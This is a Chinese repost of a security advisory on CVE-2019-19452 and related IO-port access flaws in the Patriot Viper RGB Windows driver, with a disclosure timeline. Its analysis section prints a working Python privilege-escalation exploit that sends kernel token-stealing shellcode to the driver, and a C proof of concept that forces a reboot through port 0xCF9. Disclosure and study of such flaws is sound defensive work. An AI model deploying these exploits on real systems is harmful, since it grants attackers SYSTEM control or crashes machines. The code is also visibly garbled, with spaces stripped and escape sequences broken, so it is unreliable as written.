0x01 漏洞信息
漏洞类型:基于堆栈的缓冲区溢出[CWE-121],暴露的IOCTL(访问控制不足)[CWE-782] 影响:代码执行允许特权提升 远程可利用:否 本地可利用:是 CVE名称: CVE-2019-19452
0x02 漏洞描述
Patriot Memory是一家总部位于美国的技术公司,设计和制造内存模块,闪存驱动器,移动配件和游戏设备。
在处理IoControlCode 0x80102040时,在Viper驱动程序RGB 1.1版中发现缓冲区溢出漏洞。本地攻击者可以利用此漏洞,因此获得NT AUTHORITY \ SYSTEM特权。
IOCTL代码0x80102050和0x80102054允许具有低特权的用户从IO端口读取或向其写入1/2/4字节。可以通过多种方式来利用它来最终以提升的特权运行代码。
0x03 安全建议
1.1版和所有以前的版本在每个受支持的Windows版本中都容易受到攻击(安装程序:Patriot Viper RGB v1.1.exe)
解决方案和解决方法:
Patriot Memory已发布版本MSIO_191231_v1.2,该版本已修复报告中的漏洞。
这些漏洞是由Core Security Exploit团队的Ricardo Narvaja和Lucas Dominikow发现的。
0x04 漏洞分析和利用验证
基于堆栈的缓冲区溢出特权提升
CVE-2019-19452
对版本1.0的漏洞的利用验证发现了溢出漏洞的存在,该溢出可以覆盖ZwOpenSection和ZwMapViewOfSection的参数。
1.0版和1.1版之间的二进制代码差异表明,尽管对这些函数的参数进行了检查,但先前的溢出漏洞仍存在未进行修补,而CoreLabs在随后研究中能够控制其大小。
可以在下面找到有关版本1.0的信息:
https://github.com/active-labs/Advisories/blob/master/ACTIVE-2019-012.md
https://www.activecyber.us/activelabs/viper-rgb-driver-local-privilege-escalation-cve-2019-18845
在版本1.1中,控制器分析IoControlCodes并到达此位置,将IoControlCode与0x80102040进行比较。
.text:0000000000001518learcx,aIrpMjDeviceCon;"IRP_MJ_DEVICE_CONTROL" .text:000000000000151FcallDbgPrint .text:0000000000001524movr11d,[rbp+18h] .text:0000000000001528cmpr11d,80102040h .text:000000000000152Fjzloc_16D4
如果比较结果正确,则会调用由CoreLabs控制的MaxCount(要复制的大小)和SRC(源缓冲区)的memmove,没有进行验证以确保数据适合目标缓冲区,从而导致堆栈溢出。
.text:00000000000016E8learcx,[rsp+78h+Src];Dst .text:00000000000016EDmovr8,rbx;MaxCount .text:00000000000016F0movrdx,rsi;Src .text:00000000000016F3callmemmove
由于驱动程序尚未使用安全cookie保护函数的堆栈,因此可以成功执行任意代码。
可以通过调用CreateFileA来获取驱动程序的句柄,然后通过发送受控数据来调用DeviceIoControl来实现此功能。下面将使用针对Windows 7 SP1 x64设计PoC,演示针对x64版本驱动程序的代码执行。该代码将需要改编为其他Windows版本。
有效利用漏洞取决于目标设备和体系结构的细节。例如,在Windows 10中,有SMEP / SMAP和其他特定的缓解措施。
下面看到的PoC漏洞利用演示了此过程,该过程重用了连接套接字以生成shell并在系统上执行任意命令。
#!/usr/bin/envpython importstruct,sys,os fromctypesimport* fromctypes.wintypesimport* importos importstruct importsys fromctypesimportwintypes GENERIC_READ=0x80000000 GENERIC_WRITE=0x40000000 GENERIC_EXECUTE=0x20000000 GENERIC_ALL=0x10000000 FILE_SHARE_DELETE=0x00000004 FILE_SHARE_READ=0x00000001 FILE_SHARE_WRITE=0x00000002 CREATE_NEW=1 CREATE_ALWAYS=2 OPEN_EXISTING=3 OPEN_ALWAYS=4 TRUNCATE_EXISTING=5 HEAP_ZERO_MEMORY=0x00000008 MEM_COMMIT=0x00001000 MEM_RESERVE=0x00002000 PAGE_EXECUTE_READWRITE=0x00000040 ntdll=windll.ntdll kernel32=windll.kernel32 ntdll.NtAllocateVirtualMemory.argtypes=[c_ulonglong,POINTER(c_ulonglong),c_ulonglong,POINTER(c_ulonglong),c_ulonglong,c_ulonglong] kernel32.WriteProcessMemory.argtypes=[c_ulonglong,c_ulonglong,c_char_p,c_ulonglong,POINTER(c_ulonglong)] GetProcAddress=kernel32.GetProcAddress GetProcAddress.restype=c_ulonglong GetProcAddress.argtypes=[c_ulonglong,wintypes.LPCSTR] GetModuleHandleA=kernel32.GetModuleHandleA GetModuleHandleA.restype=wintypes.HMODULE GetModuleHandleA.argtypes=[wintypes.LPCSTR] k32Dll=GetModuleHandleA("kernel32.dll") print"0x%X"%(k32Dll) if(notk32Dll): print("[-]FailedTogetmodulehandlekernel32.dll\n") WinExec=GetProcAddress(k32Dll,"WinExec") print"0x%X"%(WinExec) if(notWinExec): print("[-]FailedTogetWinExecaddress.dll\n") print"WinExec=0x%x"%WinExec raw_input() buf=kernel32.VirtualAlloc(c_int(0x0),c_int(0x824),c_int(0x3000),c_int(0x40)) shellcode="\x90\x90\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4C\x8B\x42\x70\x4D\x8B\x88\x88\x01\x00\x00\x49\x8B\x09\x48\x8B\x51\xF8\x48\x83\xFA\x04\x74\x05\x48\x8B\x09\xEB\xF1\x48\\x8b\\x81\\x80\\x00\\x00\\x00\\x24\\xf0\\x49\\x89\\x80\\x08\\x02\\x00\\x00\\x48\\x31\\xc0\\x48\\x81\\xc4\\x28\\x01\\x00\x00\xc3" #STARTSHERE written=c_ulonglong(0) dwReturn=c_ulong() hDevice=kernel32.CreateFileA(r"\\.\Msio",GENERIC_READ|GENERIC_WRITE,FILE_SHARE_READ|FILE_SHARE_WRITE,None,OPEN_EXISTING,0,None) print"[+]bufferaddress:0x%X"%buf data="\xeb\x4e"+0x46*"A"+struct.pack("<Q",int(buf))+shellcode print"%r"%data kernel32.RtlMoveMemory(c_int(buf),data,c_int(len(data))) bytes_returned=wintypes.DWORD(0) h=wintypes.HANDLE(hDevice) b=wintypes.LPVOID(buf) #TRIGGER dev_ioctl=kernel32.DeviceIoControl(hDevice,0x80102040,b,80,None,0,byref(dwReturn),None) os.system("calc.exe") kernel32.CloseHandle(hDevice)
用python 64位执行该代码后,将显示具有NT AUTHORITY \ SYSTEM特权的calc。
端口映射的I / O访问
尽管当前没有为该漏洞分配CVE,但是如果MITER分配了其他CVE名称,则将使用其他信息更新本文档。
我们可以使用IOCTL代码0x80102050读取IO端口。
要指定我们要读取的IO端口以及要读取的字节大小,必须发送一个精心制作的缓冲区,其中前两个字节是IO端口,第六个是要读取的字节数1、2或4。
此外,可以使用IOCTL代码0x80102054对IO端口进行写入。另外,必须发送一个精心制作的缓冲区。此缓冲区与读取的缓冲区非常相似。主要区别在于我们还需要指定要发送到IO端口的数据。该数据可以为1/2/4字节,并从IO端口(3字节起)旁边开始,在这种情况下,第六个字节将确定要写入的字节数。
通过读取/写入IO端口我们可以实现利用。例如,以下PoC代码将通过重新引导计算机来导致拒绝服。
#include #include #defineIOCTL_READ_IOPORT0x80102050 #defineIOCTL_WRITE_IOPORT0x80102054 HANDLEGetDriverHandle(LPCSTRdriverName) { HANDLEhDriver=CreateFile(driverName,GENERIC_READ|GENERIC_WRITE,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); if(hDriver==INVALID_HANDLE_VALUE) { printf("FailedGetDriverHandle.\nErrorcode:%d\n",GetLastError()); exit(1); } returnhDriver; } BYTEReadPort(HANDLEhDriver,unsignedintport) { DWORDinBufferSize=10; DWORDoutBufferSize=1; DWORDbytesReturned=0; LPVOIDinBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); LPVOIDoutBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(inBuffer==NULL) { printf("FailedtoallocateinBuffer%d\n",GetLastError()); return1; } if(outBuffer==NULL) { printf("FailedtoallocateoutBuffer%d\n",GetLastError()); return1; } memcpy((char*)inBuffer,&port,2); memset((char*)inBuffer+6,0x1,1); BOOLretDevIoControl=DeviceIoControl(hDriver,IOCTL_READ_IOPORT,inBuffer,inBufferSize,outBuffer,outBufferSize,&bytesReturned,0); if(retDevIoControl==0) { printf("FailedDeviceIoControl\nErrorcode:%d",GetLastError()); return1; } return(BYTE)(*((char*)outBuffer)); } voidWritePort(HANDLEhDriver,unsignedintport,BYTEdata) { DWORDinBufferSize=10; DWORDoutBufferSize=1; DWORDbytesReturned=0; LPVOIDinBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); LPVOIDoutBuffer=VirtualAlloc(NULL,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); if(inBuffer==NULL) { printf("FailedtoallocateinBuffer%d\n",GetLastError()); exit(1); } if(outBuffer==NULL) { printf("FailedtoallocateoutBuffer%d\n",GetLastError()); exit(1); } memcpy((char*)inBuffer,&port,2); memcpy((char*)inBuffer+2,&data,1); memset((char*)inBuffer+6,0x1,1); BOOLretDevIoControl=DeviceIoControl(hDriver,IOCTL_WRITE_IOPORT,inBuffer,inBufferSize,outBuffer,outBufferSize,&bytesReturned,0); if(retDevIoControl==0) { printf("FailedDeviceIoControl\nErrorcode:%d",GetLastError()); exit(1); } } intmain(intargc,char**argv) { LPCSTRdriverName=(LPCSTR)"\\\\.\\Msio"; HANDLEhDriver=GetDriverHandle(driverName); BYTEportCF9=ReadPort(hDriver,0xcf9)&~0x6; WritePort(hDriver,0xcf9,portCF9|2); Sleep(50); WritePort(hDriver,0xcf9,portCF9|0xe);//ColdReboot CloseHandle(hDriver); return0; }
0x05 漏洞披露时间表
2019年11月6日– CoreLabs通过support@patriotmem.com向供应商发出了联系电子邮件, 要求披露。
2019年11月26日–通过MITER网站申请CVE,收到申请确认。
2019年11月29日– MITER将CVE-2019-19452分配给第一个漏洞。
2019年12月5日–称为Patriot Memory HQ(510-979-1021),已通过自动电话系统转发给技术支持,还留下了留言信息和电子邮件。
2019年12月5日–收到来自卖方的电子邮件,要求进一步的信息。回复了非常基本的描述,并要求在发送POC之前确认此电子邮件是公司的首选公开方法。
2019年12月17日–收到来自供应商Patriot R&D的电子邮件,其中确认了提交方式并将其命名为主要联系人,回复了PoC。
2020年1月1日–收到来自供应商的电子邮件,其中附有建议的修复程序。
2020年1月8日–确认补丁程序正确。与供应商确认补丁程序有效,并询问他们何时发布补丁程序。
2020年1月9日–供应商声明该补丁最多需要两周才能发布(2020年1月23日)。
2020年1月16日–通过电子邮件发送给供应商,以确认23日的一切按计划进行。说明我们打算在24日发布。
2020年1月16日–发现第二个未通过补丁解决的漏洞。新的POC发送给爱国者。
2020年1月20日–收到来自供应商的电子邮件,指出他认为发现第二个漏洞可能会延迟发布有问题的补丁。
2020年2月7日– Tweet由第三方发布在Twitter上,其中包含有关Viper RGB漏洞的信息。CoreLabs验证了推文中的信息是否正确,数据现在处于公开状态。
2020年2月8日–向MITRE请求第二个漏洞的CVE身份。
2020年2月8日–向Patriot请求第二个漏洞的补丁程序状态,并告知他们该信息现已在Twitter上公开。
2020年2月10日–Patriot回应说,第二个漏洞目前没有补丁。
2020年2月12日–告知Patriot,随着有关漏洞的信息公开,CoreLabs计划在2020年2月17日发布,除非在2020年2月14日之前收到进一步的沟通。
2020年2月17日–已发布咨询CORE-2020-0001。
参考信息:
https://www.viper.patriotmemory.com/viperrgbdramsoftware
https://www.coresecurity.com/contact
本文翻
转载请注明:IT运维空间 » 安全防护 » 对 Viper RGB 驱动多个缓冲区溢出漏洞的分析
发表评论